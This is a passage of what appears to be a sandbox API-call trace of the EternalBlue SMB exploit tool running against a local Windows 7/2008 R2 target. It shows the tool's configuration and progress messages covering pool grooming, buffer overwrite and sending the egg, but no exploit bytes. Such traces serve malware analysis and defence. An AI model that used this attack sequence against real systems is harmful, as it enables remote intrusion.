[0263.850] strlen (_Str="description") returned 0xb
[0263.850] strlen (_Str="type") returned 0x4
[0263.851] strlen (_Str="format") returned 0x6
[0263.851] strlen (_Str="valid") returned 0x5
[0263.851] GetCurrentThreadId () returned 0xfa8
[0263.851] strlen (_Str="default") returned 0x7
[0263.851] strlen (_Str="false") returned 0x5
[0263.851] GetCurrentThreadId () returned 0xfa8
[0263.851] strlen (_Str="default") returned 0x7
[0263.852] GetCurrentThreadId () returned 0xfa8
[0263.852] strlen (_Str="value") returned 0x5
[0263.852] strlen (_Str="false") returned 0x5
[0263.852] GetCurrentThreadId () returned 0xfa8
[0263.852] strlen (_Str="value") returned 0x5
[0263.852] GetCurrentThreadId () returned 0xfa8
[0263.852] strlen (_Str="parameter") returned 0x9
[0263.853] GetCurrentThreadId () returned 0xfa8
[0263.853] strlen (_Str="paramchoice") returned 0xb
[0263.853] strlen (_Str="name") returned 0x4
[0263.853] strlen (_Str="description") returned 0xb
[0263.853] GetCurrentThreadId () returned 0xfa8
[0263.853] strlen (_Str="value") returned 0x5
[0263.854] strlen (_Str="WIN72K8R2") returned 0x9
[0263.854] GetCurrentThreadId () returned 0xfa8
[0263.854] strlen (_Str="value") returned 0x5
[0263.854] GetCurrentThreadId () returned 0xfa8
[0263.854] strlen (_Str="paramgroup") returned 0xa
[0263.854] strlen (_Str="name") returned 0x4
[0263.854] strlen (_Str="description") returned 0xb
[0263.855] strlen (_Str="paramgroup") returned 0xa
[0263.855] GetCurrentThreadId () returned 0xfa8
[0263.855] strlen (_Str="paramgroup") returned 0xa
[0263.855] strlen (_Str="name") returned 0x4
[0263.855] strlen (_Str="description") returned 0xb
[0263.856] strlen (_Str="paramgroup") returned 0xa
[0263.856] GetCurrentThreadId () returned 0xfa8
[0263.856] strlen (_Str="paramchoice") returned 0xb
[0263.856] GetCurrentThreadId () returned 0xfa8
[0263.856] strlen (_Str="inputparameters") returned 0xf
[0263.856] GetCurrentThreadId () returned 0xfa8
[0263.856] strlen (_Str="outputparameters") returned 0x10
[0263.857] GetCurrentThreadId () returned 0xfa8
[0263.857] strlen (_Str="parameter") returned 0x9
[0263.857] strlen (_Str="name") returned 0x4
[0263.857] strlen (_Str="description") returned 0xb
[0263.857] strlen (_Str="type") returned 0x4
[0263.857] strlen (_Str="format") returned 0x6
[0263.858] strlen (_Str="valid") returned 0x5
[0263.858] GetCurrentThreadId () returned 0xfa8
[0263.858] strlen (_Str="value") returned 0x5
[0263.858] strlen (_Str="false") returned 0x5
[0263.858] GetCurrentThreadId () returned 0xfa8
[0263.858] strlen (_Str="value") returned 0x5
[0263.858] GetCurrentThreadId () returned 0xfa8
[0263.859] strlen (_Str="parameter") returned 0x9
[0263.859] GetCurrentThreadId () returned 0xfa8
[0263.859] strlen (_Str="outputparameters") returned 0x10
[0263.859] GetCurrentThreadId () returned 0xfa8
[0263.859] strlen (_Str="config") returned 0x6
[0263.859] realloc (_Block=0x2ffc48, _Size=0x36b8) returned 0x279120
[0263.861] strlen (_Str="\n \n \n 0\n 0\n \n \n 60\n 60\n \n \n 192.168.0.154\n \n \n 445\n 445\n \n \n true\n true\n \n \n true\n true\n \n \n 3\n 3\n \n \n 12\n 12\n \n \n \n \n stdout\n Eternalblue-2.2.0.log\n \n \n false\n false\n \n \n WIN72K8R2\n \n \n \n \n \n \n false\n \n \n\n") returned 0xd95
[0263.861] _write (in: _FileHandle=3, _Buf=0x2ffc48*, _MaxCharCount=0xd95 | out: _Buf=0x2ffc48*) returned 3477
[0263.863] free (_Block=0x2ffc48)
[0263.863] _fileno (_File=0x77032920) returned 1
[0263.863] _close (_FileHandle=3) returned 0
[0263.932] WaitForMultipleObjects (nCount=0x2, lpHandles=0x140f9c4*=0x70, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
[0263.932] GetExitCodeThread (in: hThread=0x70, lpExitCode=0x140f9d4 | out: lpExitCode=0x140f9d4) returned 1
[0263.932] GetExitCodeThread (in: hThread=0x64, lpExitCode=0x140f9d4 | out: lpExitCode=0x140f9d4) returned 1
[0263.933] CloseHandle (hObject=0x6c) returned 1
[0263.933] CloseHandle (hObject=0x70) returned 1
[0263.933] CloseHandle (hObject=0x64) returned 1
[0263.933] free (_Block=0x38eaf8)
[0263.933] free (_Block=0x276dc0)
[0263.933] free (_Block=0x38f000)
[0263.933] free (_Block=0x276e00)
[0263.933] free (_Block=0x276b98)
[0263.933] free (_Block=0x38de78)
[0263.934] WSACleanup () returned 0
[0263.966] free (_Block=0x382bf0)
[0263.967] exit (_Code=0)
[0263.968] free (_Block=0x3827a8)
[0263.969] free (_Block=0x382720)
[0263.969] free (_Block=0x382698)
[0263.969] free (_Block=0x382610)
[0263.969] free (_Block=0x382588)
[0263.969] free (_Block=0x382500)
[0263.969] CloseHandle (hObject=0x40) returned 1
[0263.969] free (_Block=0x381418)
[0263.969] free (_Block=0x3813f0)
[0263.969] free (_Block=0x381400)
[0263.970] free (_Block=0x3813c0)
[0263.970] free (_Block=0x3813d8)
[0263.970] free (_Block=0x381398)
[0263.970] free (_Block=0x3813a8)
[0263.970] free (_Block=0x381368)
[0263.970] free (_Block=0x381380)
[0263.970] free (_Block=0x381340)
[0263.970] free (_Block=0x381350)
[0263.970] free (_Block=0x381310)
[0263.970] free (_Block=0x381328)
[0263.970] free (_Block=0x3812e0)
[0263.970] free (_Block=0x3812f8)
[0263.970] free (_Block=0x3812b8)
[0263.970] free (_Block=0x3812c8)
[0263.970] free (_Block=0x3811e8)
[0263.971] free (_Block=0x38d648)
[0263.971] CloseHandle (hObject=0x38) returned 1
[0263.971] free (_Block=0x3811c8)
[0263.971] free (_Block=0x3811a8)
[0263.971] GetCurrentThreadId () returned 0xfa8
[0263.972] CloseHandle (hObject=0x3c) returned 1
[0263.972] free (_Block=0x3811d8)
[0263.972] free (_Block=0x381120)
[0263.972] free (_Block=0x381098)
[0263.972] free (_Block=0x381010)
Thread:
id = 275
os_tid = 0xfb0
[0236.944] malloc (_Size=0x400) returned 0x38f508
[0236.945] Sleep (dwMilliseconds=0xa)
[0236.961] vfprintf (in: _File=0x77032920, _Format="[*] Connecting to target for exploitation.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 43
[0237.253] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.254] Sleep (dwMilliseconds=0xa)
[0237.268] Sleep (dwMilliseconds=0xa)
[0237.284] Sleep (dwMilliseconds=0xa)
[0237.300] Sleep (dwMilliseconds=0xa)
[0237.315] Sleep (dwMilliseconds=0xa)
[0237.331] Sleep (dwMilliseconds=0xa)
[0237.347] Sleep (dwMilliseconds=0xa)
[0237.363] Sleep (dwMilliseconds=0xa)
[0237.378] Sleep (dwMilliseconds=0xa)
[0237.407] Sleep (dwMilliseconds=0xa)
[0237.409] Sleep (dwMilliseconds=0xa)
[0237.424] Sleep (dwMilliseconds=0xa)
[0237.440] Sleep (dwMilliseconds=0xa)
[0237.456] Sleep (dwMilliseconds=0xa)
[0237.472] Sleep (dwMilliseconds=0xa)
[0237.487] Sleep (dwMilliseconds=0xa)
[0237.502] Sleep (dwMilliseconds=0xa)
[0237.520] Sleep (dwMilliseconds=0xa)
[0237.548] Sleep (dwMilliseconds=0xa)
[0237.550] Sleep (dwMilliseconds=0xa)
[0237.565] Sleep (dwMilliseconds=0xa)
[0237.581] Sleep (dwMilliseconds=0xa)
[0237.596] Sleep (dwMilliseconds=0xa)
[0237.612] Sleep (dwMilliseconds=0xa)
[0237.628] Sleep (dwMilliseconds=0xa)
[0237.643] Sleep (dwMilliseconds=0xa)
[0237.659] Sleep (dwMilliseconds=0xa)
[0237.702] Sleep (dwMilliseconds=0xa)
[0237.705] Sleep (dwMilliseconds=0xa)
[0237.721] Sleep (dwMilliseconds=0xa)
[0237.737] Sleep (dwMilliseconds=0xa)
[0237.752] Sleep (dwMilliseconds=0xa)
[0237.769] Sleep (dwMilliseconds=0xa)
[0237.784] Sleep (dwMilliseconds=0xa)
[0237.800] vfprintf (in: _File=0x77032920, _Format=" [+] Connection established for exploitation.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 49
[0237.801] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.802] vfprintf (in: _File=0x77032920, _Format="[*] Pinging backdoor...\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 24
[0237.803] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.803] vfprintf (in: _File=0x77032920, _Format=" [+] Backdoor not installed, game on.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 41
[0237.804] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.804] vfprintf (in: _File=0x77032920, _Format="[*] Target OS selected valid for OS indicated by SMB reply\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 59
[0237.805] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.805] free (_Block=0x2700d0)
[0237.805] fprintf (in: _File=0x77032920, _Format="%s (%u bytes):\n" | out: _File=0x77032920) returned 37
[0237.806] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.806] sprintf (in: _Dest=0x229fd80, _Format="0x%08x" | out: _Dest="0x00000000") returned 10
[0237.806] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="57") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="69") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6e") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="64") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6f") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="77") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="73") returned 2
[0237.807] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="37") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="50") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="72") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6f") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="66") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="65") returned 2
[0237.808] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="73") returned 2
[0237.809] fprintf (in: _File=0x77032920, _Format="%s\n" | out: _File=0x77032920) returned 78
[0237.810] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="0x%08x" | out: _Dest="0x00000010") returned 10
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="73") returned 2
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="69") returned 2
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6f") returned 2
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6e") returned 2
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="61") returned 2
[0237.810] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6c") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="37") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="36") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="30") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="31") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.811] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="53") returned 2
[0237.812] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="65") returned 2
[0237.812] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="72") returned 2
[0237.812] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="76") returned 2
[0237.812] fprintf (in: _File=0x77032920, _Format="%s\n" | out: _File=0x77032920) returned 78
[0237.813] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.813] sprintf (in: _Dest=0x229fd80, _Format="0x%08x" | out: _Dest="0x00000020") returned 10
[0237.813] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="69") returned 2
[0237.813] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="63") returned 2
[0237.813] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="65") returned 2
[0237.813] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="50") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="61") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="63") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="6b") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="20") returned 2
[0237.814] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="31") returned 2
[0237.815] sprintf (in: _Dest=0x229fd80, _Format="%02x" | out: _Dest="00") returned 2
[0237.815] fprintf (in: _File=0x77032920, _Format="%s\n" | out: _File=0x77032920) returned 73
[0237.816] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.816] vfprintf (in: _File=0x77032920, _Format="[*] Building exploit buffer\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 28
[0237.817] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.817] vfprintf (in: _File=0x77032920, _Format="[*] Sending all but last fragment of exploit packet\n ", _ArgList=0x229fd9c | out: _File=0x77032920) returned 56
[0237.818] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.818] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.819] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.819] Sleep (dwMilliseconds=0xa)
[0237.830] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.831] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.831] Sleep (dwMilliseconds=0xa)
[0237.846] Sleep (dwMilliseconds=0xa)
[0237.862] Sleep (dwMilliseconds=0xa)
[0237.878] Sleep (dwMilliseconds=0xa)
[0237.893] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.894] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.894] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.895] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.895] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.896] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.896] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.897] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.897] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.898] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.898] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.899] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.899] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.900] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.900] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.901] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.902] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.902] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.903] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.903] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.904] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.905] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.905] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.906] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.906] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0237.907] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0237.907] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.110] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.110] vfprintf (in: _File=0x77032920, _Format="DONE.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 6
[0238.111] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.111] vfprintf (in: _File=0x77032920, _Format="[*] Sending SMB Echo request\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 29
[0238.112] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.112] vfprintf (in: _File=0x77032920, _Format="[*] Good reply from SMB Echo request\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 37
[0238.113] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.114] vfprintf (in: _File=0x77032920, _Format="[*] Starting non-paged pool grooming\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 37
[0238.114] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.115] vfprintf (in: _File=0x77032920, _Format=" [+] Sending SMBv2 buffers\n ", _ArgList=0x229fd9c | out: _File=0x77032920) returned 38
[0238.116] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.116] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.117] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.117] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.118] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.118] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.119] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.119] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.120] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.120] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.121] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.121] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.122] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.123] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.123] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.124] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.125] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.125] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.126] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.126] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.127] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.127] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.128] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.128] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.130] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.130] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.131] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.131] vfprintf (in: _File=0x77032920, _Format="DONE.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 6
[0238.132] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.132] vfprintf (in: _File=0x77032920, _Format=" [+] Sending large SMBv1 buffer.", _ArgList=0x229fd9c | out: _File=0x77032920) returned 35
[0238.133] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.133] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.134] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.134] vfprintf (in: _File=0x77032920, _Format="DONE.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 6
[0238.135] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.136] vfprintf (in: _File=0x77032920, _Format=" [+] Sending final SMBv2 buffers.", _ArgList=0x229fd9c | out: _File=0x77032920) returned 36
[0238.137] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.137] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.138] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.138] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.139] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.139] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.140] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.140] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.141] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.141] vfprintf (in: _File=0x77032920, _Format=".", _ArgList=0x229fd9c | out: _File=0x77032920) returned 1
[0238.142] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0238.143] Sleep (dwMilliseconds=0xa)
[0238.166] Sleep (dwMilliseconds=0xa)
[0238.205] Sleep (dwMilliseconds=0xa)
[0238.267] Sleep (dwMilliseconds=0xa)
[0238.283] Sleep (dwMilliseconds=0xa)
[0238.312] Sleep (dwMilliseconds=0xa)
[0238.316] Sleep (dwMilliseconds=0xa)
[0238.330] Sleep (dwMilliseconds=0xa)
[0238.345] Sleep (dwMilliseconds=0xa)
[0238.361] Sleep (dwMilliseconds=0xa)
[0238.381] Sleep (dwMilliseconds=0xa)
[0238.392] Sleep (dwMilliseconds=0xa)
[0238.408] Sleep (dwMilliseconds=0xa)
[0238.424] Sleep (dwMilliseconds=0xa)
[0238.439] Sleep (dwMilliseconds=0xa)
[0238.454] Sleep (dwMilliseconds=0xa)
[0238.470] Sleep (dwMilliseconds=0xa)
[0238.489] Sleep (dwMilliseconds=0xa)
[0238.501] Sleep (dwMilliseconds=0xa)
[0238.521] Sleep (dwMilliseconds=0xa)
[0238.564] Sleep (dwMilliseconds=0xa)
[0238.579] Sleep (dwMilliseconds=0xa)
[0238.595] Sleep (dwMilliseconds=0xa)
[0238.610] Sleep (dwMilliseconds=0xa)
[0238.626] Sleep (dwMilliseconds=0xa)
[0238.641] Sleep (dwMilliseconds=0xa)
[0238.657] Sleep (dwMilliseconds=0xa)
[0238.732] Sleep (dwMilliseconds=0xa)
[0238.735] Sleep (dwMilliseconds=0xa)
[0238.751] Sleep (dwMilliseconds=0xa)
[0238.766] Sleep (dwMilliseconds=0xa)
[0238.782] Sleep (dwMilliseconds=0xa)
[0238.798] Sleep (dwMilliseconds=0xa)
[0238.817] Sleep (dwMilliseconds=0xa)
[0238.829] Sleep (dwMilliseconds=0xa)
[0238.845] Sleep (dwMilliseconds=0xa)
[0238.860] Sleep (dwMilliseconds=0xa)
[0238.876] Sleep (dwMilliseconds=0xa)
[0238.900] Sleep (dwMilliseconds=0xa)
[0238.907] Sleep (dwMilliseconds=0xa)
[0238.923] Sleep (dwMilliseconds=0xa)
[0238.938] Sleep (dwMilliseconds=0xa)
[0238.954] Sleep (dwMilliseconds=0xa)
[0238.969] Sleep (dwMilliseconds=0xa)
[0238.986] Sleep (dwMilliseconds=0xa)
[0239.000] Sleep (dwMilliseconds=0xa)
[0239.016] Sleep (dwMilliseconds=0xa)
[0239.031] Sleep (dwMilliseconds=0xa)
[0239.047] Sleep (dwMilliseconds=0xa)
[0239.063] Sleep (dwMilliseconds=0xa)
[0239.110] Sleep (dwMilliseconds=0xa)
[0239.125] vfprintf (in: _File=0x77032920, _Format="DONE.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 6
[0239.126] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.126] vfprintf (in: _File=0x77032920, _Format=" [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 78
[0239.190] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.190] vfprintf (in: _File=0x77032920, _Format="[*] Sending SMB Echo request\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 29
[0239.191] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.191] vfprintf (in: _File=0x77032920, _Format="[*] Good reply from SMB Echo request\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 37
[0239.192] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.192] vfprintf (in: _File=0x77032920, _Format="[*] Sending last fragment of exploit packet!\n ", _ArgList=0x229fd9c | out: _File=0x77032920) returned 49
[0239.193] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.193] Sleep (dwMilliseconds=0xa)
[0239.204] vfprintf (in: _File=0x77032920, _Format="DONE.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 6
[0239.206] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.206] vfprintf (in: _File=0x77032920, _Format="[*] Receiving response from exploit packet\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 43
[0239.207] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.207] vfprintf (in: _File=0x77032920, _Format=" [+] ETERNALBLUE overwrite completed successfully (0x%08X)!\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 67
[0239.208] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.209] vfprintf (in: _File=0x77032920, _Format="[*] Sending egg to corrupted connection.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 41
[0239.210] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.210] vfprintf (in: _File=0x77032920, _Format="[*] Triggering free of corrupted buffer.\n", _ArgList=0x229fd9c | out: _File=0x77032920) returned 41
[0239.212] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0239.212] Sleep (dwMilliseconds=0xa)
[0239.219] Sleep (dwMilliseconds=0xa)
[0239.234] Sleep (dwMilliseconds=0xa)
[0239.250] Sleep (dwMilliseconds=0xa)
[0239.268] Sleep (dwMilliseconds=0xa)
[0239.281] Sleep (dwMilliseconds=0xa)
[0239.297] Sleep (dwMilliseconds=0xa)
[0239.312] Sleep (dwMilliseconds=0xa)
[0239.328] Sleep (dwMilliseconds=0xa)
[0239.344] Sleep (dwMilliseconds=0xa)
[0239.359] Sleep (dwMilliseconds=0xa)
[0239.375] Sleep (dwMilliseconds=0xa)
[0239.391] Sleep (dwMilliseconds=0xa)
[0239.408] Sleep (dwMilliseconds=0xa)
[0239.421] Sleep (dwMilliseconds=0xa)
[0239.437] Sleep (dwMilliseconds=0xa)
[0239.453] Sleep (dwMilliseconds=0xa)
[0239.468] Sleep (dwMilliseconds=0xa)
[0239.488] Sleep (dwMilliseconds=0xa)
[0239.500] Sleep (dwMilliseconds=0xa)
[0239.515] Sleep (dwMilliseconds=0xa)
[0239.531] Sleep (dwMilliseconds=0xa)
[0239.546] Sleep (dwMilliseconds=0xa)
[0239.562] Sleep (dwMilliseconds=0xa)
[0239.578] Sleep (dwMilliseconds=0xa)
[0239.594] Sleep (dwMilliseconds=0xa)
[0239.609] Sleep (dwMilliseconds=0xa)
[0239.656] Sleep (dwMilliseconds=0xa)
[0239.749] Sleep (dwMilliseconds=0xa)
